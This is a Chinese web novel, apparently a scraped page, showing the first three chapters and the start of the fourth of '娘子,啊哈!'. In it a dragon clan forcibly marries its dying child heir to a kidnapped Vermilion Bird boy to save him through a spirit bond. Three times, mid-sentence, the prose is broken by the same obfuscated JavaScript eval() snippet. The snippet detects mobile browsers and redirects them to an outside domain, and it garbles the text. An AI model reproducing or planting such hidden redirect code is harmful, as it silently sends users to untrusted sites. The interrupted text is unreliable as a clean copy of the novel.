《娘子,啊哈!》 1. 第 1 章 龙隐谷四面环山,阳光透过薄雾洒在谷中,形成一道道金色光柱,照亮了谷中那片古朴的建筑。 这些建筑依山而建,最大的院子是主家居所,此刻一片愁云,仆婢们来去都放轻脚步,不敢发出半点声音。 屋内的雕花大床上躺着一名五六岁的幼儿,只隆起小小的一团,仿佛被那锦被淹没了一般。他头顶生着两只小圆角,面色苍白,双眼半闭,呼吸微弱而急促。 云飞翼背着双手来回踱步,满脸皆是焦虑。云夫人坐在床边,双眼红肿地地盯着幼儿,恍惚觉得那小胸脯没了起伏,心头一慌:“夫君,眠儿是不是没气了?” 云飞翼道:“我在他体内布了一缕龙息,但凡有异常,便能立即察觉。他只是身子虚弱了些,并无大碍。” 话音刚落,一道稚嫩的微弱声音响起:“娘,爹爹……” 夫妇俩同时转头,看见云眠已经睁开了眼。因为久病缠身,那张脸不到巴掌大,下巴尖尖,衬得那双嵌在脸庞上的眼睛更大更黑。 “眠儿,你醒了。”云夫人立即敛起悲伤,挤出了一个笑容。 “嗯,醒了。”云眠很轻地点了下头。 被子一阵窸窸窣窣,他艰难地抽出胳膊,小手摸向床里侧。 云夫人赶紧将放在床里侧的蝈蝈笼子拿起来:“你好好躺着,麻杆子大将军在这儿。” “那是花点点二将军。”云眠声音细微地纠正,“还有蝲蝲蛄将军,扁头将军,屁股墩儿将军——” “都在,它们都在。”云飞翼指着旁边柜子上的那排泥人。 云眠安静下来,云夫人柔声问:“饿了没?想不想吃一点蛋羹?” “不想吃。” “桂花蜜酿羹呢?” “不想吃。”云眠缓慢地摇摇头,“娘,我要死了吗?” 云夫人脸色骤变,云飞翼赶紧斥道:“胡说!你就是生病了,很快就会好起来。只要爹爹在,你就不会死。” 云眠长长的睫毛颤了颤:“可,可爹爹说我的麻杆子大将军不会死,它也还是死了。” 云飞翼在旁解释:“蝈蝈本就寿命短暂,大将军是寿终正寝,老死了很正常。但你才多大?你还是个小娃娃,爹娘都健在,你怎么会死呢?” 云眠缓缓转动眼珠,看了他爹一眼,又收回视线,轻声道:“……男人的嘴,骗人的鬼。” 云飞翼哽住,只转头看向云夫人。 云夫人没想到儿子记下了自己平常念叨的那些话,有些心虚地避开了云飞翼的视线。 “若我死了,爹爹把我埋进麻杆子大将军的土包包里。”云眠转头瞧着搁在枕边的蝈蝈笼子,幽幽开口,“花点点二将军还没死……也一起埋了吧。再埋点甜甜糕,要放好多的甜杏仁儿。” 听见豆丁大的小孩也在交代遗言,云夫人的眼泪立即涌了出来。 云飞翼也心脏揪紧,赶紧出言安慰:“爹爹说了你不会死,就肯定会治好你的。你娘子马上就要到了,只要你们成了亲,你的病就好了。” “娘子?”云眠乌幽幽的大眼睛看向了云夫人。 “她是你娘,你娘是爹爹的娘子。”云飞翼解释,“你的娘子另有其人。” 云夫人忍住哽咽:“眠儿,你马上就有自己的娘子了。她嫁给你,便能让你的病好起来,也能陪你一起玩。” “嫁给我?一起玩?”云眠眼里顿时亮起了光彩。 “对。” “那能和我一起玩石人打仗,蟀婆婆骑大马吗?” “能,你娘子是雀丫儿妹妹,也是个小娃娃。等你身体好起来了,你们一起玩耍,一起念书识字,一起长大。” “雀丫儿妹妹呀?”云眠轻声问。 云夫人点点头:“我们龙隐谷只有你一个小娃娃,但以后就是两个了。” 云眠抿起嘴笑了下,苍白的脸颊上浮起了两个浅浅的酒窝。但他又想到了什么,那笑容稍纵即逝,黯然垂下眼眸,长睫垂搭在下眼睑上。 “若我死了,就把我埋在大将军的土包包里,还有二将军它们和杏仁米糕,我们要一起玩……” 他刚醒便说了这么多话,精神明显不济,声音逐渐变轻,眼皮也慢慢合拢。 “……还有我的娘子,她嫁给了我,那,那也一并埋了吧。” 见云眠又陷入了昏睡,云夫人焦灼地看向云飞翼。 云飞翼再次查探过云眠的身体,低声对她道:“让他休息会儿,等到迎亲队回来就好了。” 听到迎亲队,云夫人果然神情稍缓,但立即又有了新的担忧:“夫君,要是朱雀族不同意这门亲事怎么办?毕竟我们眠儿年幼,身子骨也孱弱……” “放心,秦原白会同意的。”云飞翼想了想,“那朱雀最是能生,一窝十几个蛋,孩子多得很,不稀罕。朱雀族现在又没落了,就靠着涅槃之火撑着门脸,我现在派人去提亲,秦原白断不会拒绝。” 云夫人听见一窝十几个蛋时,眼里不由露出羡慕。她转头看看一动不动躺在锦被里的独子,又悲从中来,再次红了眼眶。 “我还是十几年前去过朱雀族炎煌山,看见院子旁边树杈上有个雀窝,连个遮挡都没有,明晃晃地摆着一堆蛋。”云飞翼回忆道。 “那么精贵的蛋就摆在窝里,也不怕被蛇鼠给掏了?”云夫人一时忘记了悲伤,不敢置信地问。 “孩子多,不怕掏,也养得糙。”云飞翼摇头,“那朱雀族虽为灵界大族,不知怎的,竟将日子过得这样潦倒,生生成了破落户。秦夫人给我端了一碗羹,七八个雀娃就直愣愣盯着,口水都快流下来了。” 云飞翼说着说着,心里却开始叹气,神情也变得怅惘。 他一生要强,不仅在修炼和学问上不甘人后,在壮大龙族血脉这件事上也同样拼尽了全力。但多年来辛勤耕耘,从未懈怠,所有努力却石沉大海。 好在苍天不负,在他三百岁那年,云夫人终于诞下了云眠,让龙族血脉得以延续。 云飞翼想到这儿,嘴里便有些发苦,语气也开始发酸:“生那么多有什么用?好好的朱雀灵鸟,养得就和那山精野怪似的,光着腚满山跑。别说是结亲,就算是讨几个过继给我,改姓为云,秦原白也会答应的,还庆幸终于可以少养几张嘴。” “夫君,是妾身的肚子不争气……”云夫人黯然。 “夫人,这不怪你,我还要感谢你生下了眠儿,让龙族血脉不至于在我这儿断绝。”云飞翼顿了顿,“等到新娘接来,我就施展灵契共鸣之术,眠儿能获得充沛灵气,身子也会好起来的。” 夫妻二人说完一阵,云飞翼又上前为云眠渡灵气。 云眠从小缠绵病榻,是与灵气日渐稀薄有关。 天地分为灵、人、魔三界。凡人一呼一吸间,草木一枯一荣时,皆会生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299259|182737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出混沌之气。此气上升化为灵气,下沉则凝为魔气,是灵魔两界存续的根基和本源。 灵魔两界为了争夺混沌之气,爆发了数场战争。十余年前,灵界倾全族之力攻入魔渊,除掉了魔君夜阑。 夜阑虽除,他的侄子夜谶却成为新的魔君。此人修为深不可测,手段阴狠毒辣,难缠程度更甚于夜阑。 接下来的灵魔大战里,灵尊重伤,不得不闭关疗伤。众灵族也只能退守灵界,然而灵气越来越稀薄,生存之境不断紧缩。 因为灵气不足,云眠出生时是一枚软壳蛋,轻轻一按,蛋壳便会下陷,吓得云夫人不敢用手去捧,生怕一不小心破了蛋膜。 云飞翼用自身龙息滋养这枚软壳蛋,小心翼翼地修复,经过半年,蛋壳才终于变硬。 夫妇二人以体温和灵气轮流孵化这枚蛋,又经过三年,幼龙才终于破壳。 刚破壳的幼龙孱弱至极,眼睛紧闭,也不肯张嘴进食,随时可能断绝生机。好在云飞翼向灵尊讨要到了灵液,才终于保住了他的性命。 命是保住了,但幼龙先天缺陷,自身无法吸纳灵气。就算云飞翼竭力为他治疗,他的身体状况也愈来愈差。 眼见儿子时日无多,云飞翼不得不做出了一个决定,让年仅五岁的云眠和其他灵族成亲。 这并非寻常联姻,而是会让两人进行一场古老的阵法仪式。金龙与朱雀皆为灵界大族,阵中俩人的血脉会产生共鸣,也会有源源不断的灵气在两人之间循环流转。 但阵中两人从此命格相连,气运相融,所以最好的人选便是夫妻。 其实玄武、麒麟、白虎也是灵界大族,也可施展灵契共鸣之术,和他们联姻也能达到同样的效果,但云飞翼却认准了朱雀族。 原因无他,正是那一窝白花花的朱雀蛋,还有那一排从高到矮、眼巴巴盯着他碗的雀娃,给他内心带来的冲击和震撼,直到现在都久久不散。 待到云眠成年,和雀丫儿圆了房,那还不一胎就十几个蛋?漫山遍野不全跑着光腚龙娃? 到时候大办宴席,广邀宾客来龙隐谷,只将窝挂在院子那树杈子上,明晃晃地亮着一窝蛋。 云飞翼看着院子外的那棵茂密老柳,素来严肃的脸上也浮起一个憧憬的笑,直到听见云夫人的声音才回过神。 “夫君,不知道阿帮回来没有,妾身想去谷口看看。”云夫人有些焦急。 “谷口风大,你身子弱,还是别去了。有谢大在谷口盯着,他会回来通报的。” 他话音刚落,便听见远处传来一道高亮的呼喊声,满满都是喜气,正飞快地由远而近。 “家主,夫人,新娘子到了,迎亲队已经到了谷口……” 听见谢大的声音,夫妻两人对视一眼,同时起身,一前一后地奔出了屋子。 一直守在谷口的谢大正在回返,因为太过急切,他已经化为蟹形,八只脚在地面飞快移动。 “家主,夫人……”桌面大的螃蟹激动地喊,“唢呐吹的是百鸟朝凤!百鸟朝凤!” 云夫人听见这话,发出一声喜极的呜咽,云飞翼却有些茫然:“什么百鸟朝凤?” “妾身给阿帮交代过,若是朱雀家不应这门亲事,就悄悄回来,别声张。但若是接到了新娘子,就在谷口吹奏百鸟朝凤。” 云夫人激动地流着泪:“夫君,雀丫儿来了,咱们的眠儿有救了。” 2. 第 2 章 主院前乌泱泱立着一群人,都翘首看着谷口方向。云飞翼夫妇并肩立于最前方,身后则是一众仆妇家丁。 “恭贺家主夫人,这下不光眠少爷身子痊愈,还多了小少奶奶,我们谷里也会更热闹了。” “这是双喜临门,咱们谷定会愈发兴旺。” …… 云飞翼面带微笑,云夫人更是喜上眉梢。随着那唢呐声越来越近,一队披红挂彩的人马拐过谷口弯道,出现在了众人视野里。 其中最醒目的,便是那顶朱漆描金的大红花轿。 迎亲队很快便行至院子前,但几名随行的家仆却不见喜色,彼此偷偷递着眼色,磨蹭着不肯上前。 最后还是阿帮走前两步,支支吾吾地回禀:“家主,夫人,少,那个少奶奶……接回来了。” 夫妇俩只看着花轿,并没发现几人的异样。唢呐一停,云夫人便笑盈盈地上前,轻轻揭开了轿帘。 “乖丫儿——” 云夫人一句话断在嘴里,脸上的笑容凝住,只慢慢睁大了眼睛。 云飞翼察觉到了不对劲,赶紧上前两步,在看清轿内情况后,顿时也如云夫人般,化成了一尊泥塑。 轿子里并没有什么丫头,只有一名少年。 少年年约十二三岁,束发散乱,身穿一件半旧的青布衫,五花大绑地靠坐在座椅上。他嘴里还塞了一团布,鼻息咻咻,一双漆黑的眼眸从眉峰下瞪着两人。 大家也都瞧见了轿内的人,顿时鸦雀无声。阿帮和几名接亲的家仆,身体僵硬地站在轿侧,大气也不敢出。 云飞翼回过神,转头喝问:“这是怎么回事?” 阿帮垂头丧气地道:“家主,他就是朱雀族送来联姻的少奶奶。” “什么? “你说什么?” 云飞翼和云夫人同时出声。 阿帮咽了咽口水,硬着头皮道:“七日前,我们到了炎煌山,将家主的嘱托转告给了秦家主,亲笔信件和聘礼也一并呈上。秦家主倒是应承得爽快,却又说现在灵气枯竭,朱雀族好些年都没有添生新的小雀儿,如今最小的雀丫头都已年满十六,也早已和他人订了亲,朱雀如今全族上下只剩下这个雀小子了。若是云家不嫌弃,便将他抬回去,也算是全了两族的联姻之谊。” “这,这简直是胡闹!”云飞翼伸手指着阿帮,“秦原白存心羞辱我们云家,你们直接返回便是,为何还把他抬回来?” “我们是要返回的,但秦家主将那些聘礼全部扣下了。”另一名家仆哭丧着脸,“我们寻思着,总不能空手而回吧,就把他带上了。” 阿帮赶紧补充:“家主,秦家主倒也没有撒谎,我们私下里找了一圈,的确是没有其他小雀儿了。” 云飞翼阴着脸沉默片刻,又转头看向轿中的少年,接着趋身入轿内,一把扯掉了他嘴里的布团。 少年靠在座椅上喘着气,虽披头散发一身狼狈,却朝着云飞翼龇牙一笑,看着甚是桀骜。 阿帮急忙阻止:“家主,这小子粗鄙不堪,野性难驯,一张嘴很不干净——” “老长虫,好公公,可还满意我这个儿媳?”少年一边喘,一边笑。 众人都倒抽一口冷气,云飞翼的脸色更是黑如锅底。他立即将布团重新塞回少年口中,气急道:“马上还回去,再去向玄武族提亲——” 他话才说了一半,突然收住声音,眼里闪过一丝慌乱。接着猛地转身,疾步冲向了主屋。 云夫人原本无措地站在旁边,见到云飞翼的反应,直觉便是云眠出了事,也脸色煞白地追了上去。 主屋内一片死寂,云眠独自躺在床上,那张小脸上已经没有半分血色,搭在胸脯上的薄被也已没了起伏。 云飞翼疾步冲至床畔,直接将自身灵气注入他体内。但那具孱弱的身躯宛如破损的器皿,灵气甫一进入便迅速流失。 “不行,无法再拖延了,必须立即启动阵法。”云飞翼沉声道。 跟上来的云夫人颤声道:“可那孩子并非雀丫儿啊。” 云飞翼咬咬牙:“救眠儿要紧,眼下也已顾不得许多了。”接着转头厉声吩咐下人,“快把那小子送进法阵,准备开启阵法。” 整个龙隐谷瞬间忙碌起来,仆从们脚步纷沓,互相呼喝。那名朱雀族少年也被拖出花轿,由两名仆从抬着去往山谷深处。 一片空旷的平地上,繁复的阵法纹路早已刻画完毕。少年被放置在法阵左侧,双手双脚依旧被绳索捆缚,口被塞住,眼上还被缠着了一根布条。 他目不能视,不知道这是要对自己做什么,既不安又愤怒,躺在地上不停挣扎,喉咙里发出呜呜的声音。 云飞翼并没多看他一眼,只抱着云眠走到另一侧。 云眠气若游丝地躺在父亲怀里,小手小脚软软垂着。云飞翼将他放置在布满线条的地面上,再走向法阵中央,半分也不耽搁。 云飞翼伸出手,将闪耀着金色光芒的龙魂之核托于掌上。 龙魂之核慢慢浮空,他深吸一口气,双手结印,衣袍无风自动,周身灵气涌动。 山谷中风声渐起,龙魂之核发出灼灼光芒,法阵的纹路也跟着亮起,灵气在阵中流转,将云眠和少年笼罩其中。 狂风大作,卷起地上的尘土与落叶,梵音四起,空中似有数道絮絮嘈嘈的低语。少年拼命扭动身体,一点一点朝着树林方向挪动,但突然一声钵盂相撞的重响,梵音化为洪钟大吕的轰鸣,一声声撞入他的脑海,像是将魂魄都要撞出躯壳。 快要挪到法阵边缘的少年身体一僵,便没了任何动作,已经昏死过去。 …… 烛火发出一声细微的噼啪,爆出一小朵跳跃的火花,香炉里青烟袅袅升起。 躺在床榻上的少年缓缓睁开眼,意识还有些不清,便听见一道冷肃的声音响起:“秦拓,你醒了。” 秦拓慢慢侧头,看向坐在对面椅子上的那道人影。在看清那人是云飞翼后,双眼变得清明,脸上的茫然也被警惕和防备代替。 他不清楚昏迷之前发生了什么,但直觉不是什么好事。他动了动身体,发现没有受伤,绳索虽已去掉,手脚却软如面条,用不上半分力。 “老长虫,你对我做了什么?”秦拓沙哑出声。 云飞翼皱了下眉,眼里浮起一抹愠怒:“目无尊长,出言不逊,秦家主便是这般教导家中子弟的?” “你是哪门子的尊长,秦原白也不是我爹,我为何要他教导?”秦拓神情变得凶狠,咬牙切齿地道,“你对我用了什么邪术?是不是将我的命续给了你家小死虫?” 云飞翼语气中带着警告:“我没拿你的命续给我儿子,但如果你再出言不逊,那就说不准了。” 秦拓听见自己没事,神情一松,嘴上却依旧不依不饶:“你家小长虫快不行了,便把老子抓来冲喜。自己做的龌龊事还不准人说,这是什么道理?” “不是我抓你来的,是秦原白送你来的。”云飞翼回忆着阿帮之前告诉自己的话,“你名叫秦拓,年满十二,父是雷纹猊族人,母是朱雀族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299260|182737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦原白的八妹。你出生不久,他俩便因病相继去世,你是被舅舅秦原白抚养长大的,所以你的事也应当由他做主。” “放屁!我就算曾吃过他几口粮,也会还给他。”秦拓冷笑,“不管你要女婿还是儿媳都另外去找,别打我的主意,赶紧放了我。” “我不能放你。”云飞翼缓缓摇头,“灵契共鸣之术已启动,你与我儿子的命格已然相连。你只能留在他身旁,不然会遭受反噬。” “还想唬人?”秦拓嗤笑,眼睛乜斜着云飞翼。那张尚带着稚气的俊美脸庞上满是讥嘲,看上去甚是气人。 云飞翼从未被人这样顶撞,尤其对方还是名小少年。他耐着性子,将灵契共鸣仔细讲述了一遍,最后道:“那灵契共鸣之术并非邪术,对你和我儿子都有益处,而你只需要留在龙隐谷,跟在他身旁即可。” “跟在小长虫身旁即可?你不怕我将他剥皮抽筋,摁在板上剁成几段?”秦拓心里窝火。 云飞翼脸色骤变,眼中怒意翻涌。秦拓只觉得一股滔天力量猛然压来,胸口仿佛被巨石碾过,痛得无法动弹。 他冷汗从额头渗出,却只咬紧牙关,死死瞪着云飞翼,半分不肯示弱。 眼见秦拓脸色越来越白,云飞翼这才撤回了力道。他站起身,脸庞在烛光下显得格外冷峻:“倘若你好好的,我们云家必不会亏待你。但若你伤害我儿子,我会让你求生不得,求死不能。” 云飞翼走出屋子,一直候在院里的云夫人便迎了上来。 云夫人见他脸色不好,便柔声道:“夫君,那孩子年纪尚小,来咱们家也不是他自个儿的意思,心中难免有怨气。咱们总得多点耐心,好好待他,等日子久了,自然就好了。” 云飞翼抬头看着天上一轮明月,片刻后才低声道:“但凡还有其他办法,我又怎会为难他?” 夫妻俩齐齐叹气,云飞翼又问:“眠儿怎么样了?” 提到云眠,云夫人脸上露出了笑:“他醒来后,精神就恢复得不错,刚才还用了一碗奶羹。他就住在旁边屋子里,要去看看他吗?” “不看了。”云飞翼摇摇头,“他俩刚结了契,灵气流通还不稳。咱们身上的气场太强,若再呆在这里,恐怕会扰乱他们之间的灵力平衡。” “奶娘没有灵力,她在照顾孩子。” “没有灵力也不能久留,让她要尽快离开。” 夫妻俩虽心中挂念,却也只能一步三回头地走出院子。 月光如水,洒在青石小径上,俩人远远地站在竹林旁,看着院子左边那扇亮着烛火的窗户。 “眠儿这下没事了吧?”云夫人既期待又忐忑。 云飞翼点点头:“有灵契在,他会好起来的。” 云夫人喜极而泣,云飞翼揽住她的肩,“时辰还早,咱们得去准备一下,明日要让他俩成亲。” “成亲?”云夫人一愣,茫然地抬起头,“秦拓是小子,他俩还要成亲吗?” “既然已经结契,那阵法便已连通天地,得用仪式向天地进行回禀。”云飞翼苦笑一声。 云夫人怔怔道:“他俩都是小子,那龙族血脉岂不是要断在眠儿这里?” 云飞翼道:“眼下最重要的是稳住灵契,保住眠儿的性命。他长大还早着,待到日后身子痊愈,再想法解除契约。” “灵契也能解除?”云夫人疑惑地问。 “等灵尊出关后,我去问问他老人家,看他有没有办法。”云飞翼叹了口气:“实在不行,让眠儿纳几个妾也是可以的。” 3. 第 3 章 院子左边厢房里,云眠已从昏迷中苏醒,虽然脸色依旧苍白,但那双大眼睛已恢复了一些神采。 “奶娘,我要娘陪我睡。”他恹恹地道。 “小少爷今晚得自个儿睡觉,明天早上才能见到夫人。”身形壮硕的奶娘坐在床边,笑眯眯地回道。 “我不想自个儿睡觉,有鬼,还有妖怪。”云眠轻轻捏着被子角,嘴里嘟囔着,“妖怪和鬼都要吃小孩。” “哎哟,它们可不敢吃你,你可是小龙君。”奶娘解开衣袍,在床边侧躺下去,“小少爷多喝点奶,把身子骨养得壮壮的,什么鬼怪都不怕。” 云眠便也侧过身,凑到奶娘胸前开始吸吮奶汁,小手则反到身后摸索,将那蝈蝈笼子抓在手里。 龙隐谷的夜晚非常安静,秦拓躺在隔壁屋,将这边的对话听得一清二楚。他知道那道软糯的声音就是小长虫,不免在心里冷笑,满脸都是不屑。 如此年岁竟然还不断奶,足见其备受家里人的溺爱。这让他心头鄙夷且厌恶,却又泛起一丝难以名状的妒意。 他不知道自己是否喝过奶,想来母亲还未去世时,应该是喝过的,但那时年纪太小,根本记不得。 但他同时又有些幸灾乐祸。 小长虫就算被千般娇惯,指不准也照样早夭,一场白忙活。 想到灵契阵,他开始琢磨云飞翼之前说的那些话。当时他正满心怒气,听得不是很仔细,只记得命格相连什么的,一片云里雾里。 不过云飞翼说对他的身体没有损伤,他凝神感受了一下,虽然手脚有些发软,体内灵气空空,但确实没有什么不适感。 屋这边的云眠,吃完奶后,开始叽叽咕咕地和奶娘说话。 “奶娘,我娘子呢?”云眠还记得娘白日里说过的话,“雀丫儿妹妹到我家了吗?” “已经到了。” 云眠惊喜地呀了声:“我想去看看她。” “现在天黑了,他已经歇下了。家主说你们明天要拜堂,等明天就能见到人了。”奶娘哄道。 “那她长得什么样?好看吗?有二妞妹妹好看吗?” 他的表妹二妞曾在龙隐谷小住过几日,小丫头生得娇娇软软,让他稀罕得不行,问他娘这是不是个布孩儿,引得满屋子大人哄堂大笑。 “好看,和二妞是不一样的好看。”奶娘含混道。 云眠放心了些,又问:“有花点点二将军好看吗?” “……那肯定比它好看。” 云眠抿唇笑了笑,却又有些担忧,垂下眼道:“要是她不和我玩怎么办?谷外的刺猬儿和大尾巴松鼠都不爱和我玩,看见我就跑。” “他敢!”奶娘顿时提高了音量。 她看着糯米团子似的云眠,见他一脸懵懂,眼前浮现出少年那张满是桀骜的脸,心里开始担忧。 云眠一定得拿出气势来,一开始便将人压住,以后才不会受那野小子的欺负。 奶娘伸手摸了下云眠头顶的小角:“等成了亲,你就是他的夫君,是他的天。他要是敢忤逆你,你就罚他,罚了还不听,就说要一纸休书休了他,让他知道厉害。日后就算不休,也可以纳他十个八个妾,将他冷在一旁。反正你记着,一定要压他一头,降住他。” 云眠听得很认真,点点头:“我,我肯定要降住她,让她听我的话。” “明日喜轿要绕谷一圈,等喜轿停了,你要使劲踢一下轿门,他日后便会对你服服帖帖,百依百顺。”奶娘又道。 “我知道了。”云眠想了想,“那我轻轻踢呢,要把妹妹吓哭了。” 奶娘恨铁不成钢:“你要爷们一点,凶一点。” “我很爷们的。”云眠赶紧道。 他为了证明自己所言不虚,便立即化为原形,一只小龙出现在床榻上。 小龙通体覆盖着细密的橙金色鳞片,头顶生着两只玉白色小圆角,圆溜溜的大眼睛眨巴着。他的龙须细长柔软,随着呼吸轻轻颤动,两只小爪子举在头侧,亮出尖尖的爪尖。 “吼!”小龙张嘴叫了一声,又问,“凶吗?爷们吗?” 奶娘暗暗叹了口气,却也只得道:“爷们,瞧这几根胡须儿,老成得很。” 秦拓躺在床上,注视着上方帏帐,一边听着隔壁的对话,一边还在琢磨着那什么灵契阵。 秦原白兄弟姊妹众多,对自己的八妹,秦拓的母亲秦八娘也就没有多深的感情。所以当秦八娘撒手人寰,他虽然将秦拓养在族里,实际上却不闻不问,态度漠然。 不过秦拓深知秦原白这人,相当重视家族的脸面和利益。他能任由年幼的外甥在族里挣扎过活,却绝不会让外甥在外人手里吃亏。 他心里清楚,尽管自己是被捆上花轿的,秦原白还不至于狠心到让他送死,让家族血脉白白折在外人手里。 这些年的经历,让秦拓比同龄人更加谨慎,也更加惜命。他将这事翻来覆去地想过几遍,虽然依旧搞不清那灵契阵究竟是怎么回事,但至少能确定一点,自己的性命暂时无虞。 隔壁屋子里,奶娘对云眠又讲了许多,事无巨细地叮嘱,让他一定要拿出爷们儿威风。直到云眠再三保证,这才替他掖好被子,走出房间离开了院子。 所有人都已离开,院子里只剩下秦拓和云眠两人。而一股看不见的力场,正在东西两间厢房之间循环流转。 云眠照例开始了他的睡前仪式。 他闭着眼睛躺在床上,两手举在头侧,有节奏地轻轻抓握,嘴里小声哼唱:“小龙的鳞片闪呀闪,踩着云朵攀上天,采来星星串项链,摘下月亮当圆盘……” 唱完这段,躺在床上的幼童倏地消失,被褥下出现了一条小龙。 小龙脑袋露在被外,不到两尺长的龙身,在被子下左一下右一下地扭动,嘴里也依旧哼着:“小龙的尾巴摇呀摇,偷喝仙露醉倒了,抱着彩虹当棉被,呼噜震落大蟠桃……” 隔壁的秦拓满脸不耐,那小长虫一直在聒噪,让他烦不胜烦。看见屋里小桌上放着一个食盒,干脆下床,拖着发软的双腿挪到了桌旁。 他伸脚勾桌下的凳子,凳脚在地面上刮出嚓一声响。 “小龙的鳞片——” 隔壁的哼唱突然中断。 “奶娘?奶娘?” 秦拓没搭理,只在凳子上坐下,揭开了食盒盖。 食盒共有三层,摆放着他从未见过,也叫不出名字的精致菜色。 他饿得太狠,左手抓饼,右手拿筷,飞快地狼吞虎咽。那滑嫩的肉丸还未尝到味儿,便咕噜一声滑进了喉咙。 他扫荡了大半菜肴,动作才逐渐放缓,但胳膊肘不小心碰到了食盒盖,啪嗒一声掉落在地。 “奶娘?是不是奶娘?” 隔壁声音又响了起来,带着些许惊慌。 秦拓原本不想搭理,但想起刚听小长虫说过害怕妖怪和鬼,便将嘴里菜咽下,捏出一个尖细的嗓子:“谁在说话?好像是个小孩?” “你是谁呀?”云眠听这声音陌生,便疑惑地问。 秦拓继续道:“你听过专吃小孩的罗刹婆婆吗?那就是我。我现在正在找吃的……” 隔壁安静了一瞬,有着细细的抽气声响起,接着颤声道:“这里没有小孩,只有小龙,罗刹婆婆你去别处看看?” 秦拓不出声,只慢条斯理地咀嚼。 小龙在锦被下蜷成一团,眼睛睁得滚圆,尾巴叼在嘴里,尾巴尖还簌簌发着颤。 “那些闷不吭声的小孩嚼着没滋味,吱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299261|182737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哇唱曲儿的小龙最合我胃口。”秦拓拿起一条长虾,一口咬掉头,吮出了滋滋声响,“我咬住那小龙的身子,一嗦,把肉给嗦进了嘴,那鲜美,啧啧。” 一阵静默后,隔壁突然爆出尖声大哭:“娘!爹!哇——” 秦拓一怔,待反应过来,低喝一声闭嘴,又威胁道:“你只要敢出声,我就要吃了你。” “哇……”回应他的是更加凄厉的哭声。 “眠儿,眠儿,爹娘在这儿,眠儿。” 云夫人和云飞翼本就离得不远,此时匆匆赶了过来。夫妻俩站在院门外,听了云眠一番抽抽搭搭的哭诉,赶紧出言安慰,并再三保证罗刹婆婆已经被赶走。 “娘,我不想自个儿睡。”小龙支起大脑袋看向窗户,眼里含着一汪泪。 “乖,爹娘就在这儿陪你。你早些睡,明日还要成亲呢。”云夫人哄道。 “雀丫儿妹妹呢?”小龙被成亲两字转移了注意力。 云夫人看了眼隔壁那间厢房,支吾道:“……他也睡了。” “娘布阵了吗?” “布了,只要那罗刹婆婆敢来,第一时间就把她给网住。”云夫人哄道。 “雀丫儿妹妹那里也要布阵哦。”小龙不放心地叮嘱。 “娘知道的。” 秦拓半靠在床上,听着他们的对话,嘴角噙着一个讥嘲的笑。 但就在对话声结束时,他突然感觉到一股威压骤然逼近,屋内虽然没人,但云飞翼带着怒意的声音在他耳畔响起。 “秦拓,安分守己地待着,不仅没有坏处,还能得到你意想不到的好处。但若你再敢对他起恶念,伤他吓唬他,我自然也会加倍奉还。” 秦拓知道自己此刻处境,惹怒龙飞翼并没什么好处,便没有出声。 那无形的力量缓缓撤出屋内,秦拓松了口气,心里对隔壁那小长虫更加憎厌。 不光娇生惯养,还爱哭闹,动不动喊爹喊娘地告状。 他也没了戏弄小长虫的心思,转而思索起接下来的打算。 他肯定不会留下来当什么儿媳,必须得找个机会离开这里。 十五姨嫁为人妇后,便一直音讯全无,他早就打算去看看。如今已离开了炎煌山,便寻个机会从这里逃走,正好去她那里。 若姨夫家对十五姨不错,他便在那附近寻个住处,可以时常和十五姨见上一面。可若姨夫家对她不好,那他便带着她离开。 天下之大,总归会有姨侄俩的容身之处。 只是他是被强绑上轿子的,离开炎煌山时,所有东西都落在家里。在去找十五姨之前,得先悄悄回一趟炎煌山,把重要的物品带上。 既然要去找十五姨,那日后生计总归少不得银钱。 朱雀族是出了名的穷,家家喝西风,舔锅底,可这金龙族却历来有钱,是出了名的富贵窝。 秦拓转头打量着这富贵窝,目光掠过那些堂皇家具,镶嵌在铜镜上方的宝石,心里逐渐有了主意。 宝石虽好,却太过扎眼,出手不便,不如金银来得实在。他目光落在床头上,看见床栏两端各顶着一个金色的圆球,在烛光下泛着诱人的光泽。 秦拓想要将那金球掰下来,但手足无力,便在床脚找到一片锋利的铁皮,开始一点点地割。 他割金球时,隔壁的小龙终于平静下来,继续未完的睡前仪式。 虽然爹娘说他们就守在外面,也赶走了罗刹婆婆,云眠依然心有余悸,只不出声地开合嘴巴,身体也扭得很小心,不让鳞片将被子刮擦出声音。 “小龙的鳞片闪呀闪,踩着云朵攀上天,呼噜震落大蟠桃。” 云眠没有唱完整首,只唱了首尾两句便匆匆结束,抱着自己的尾巴开始睡觉。 4. 第 4 章 天才蒙蒙亮,夜雾还未散尽,龙隐谷便热闹起来。虽然未曾邀请外客,但少主人成亲终是大事,谷中处处披红挂彩,廊下也挂上了红灯笼。 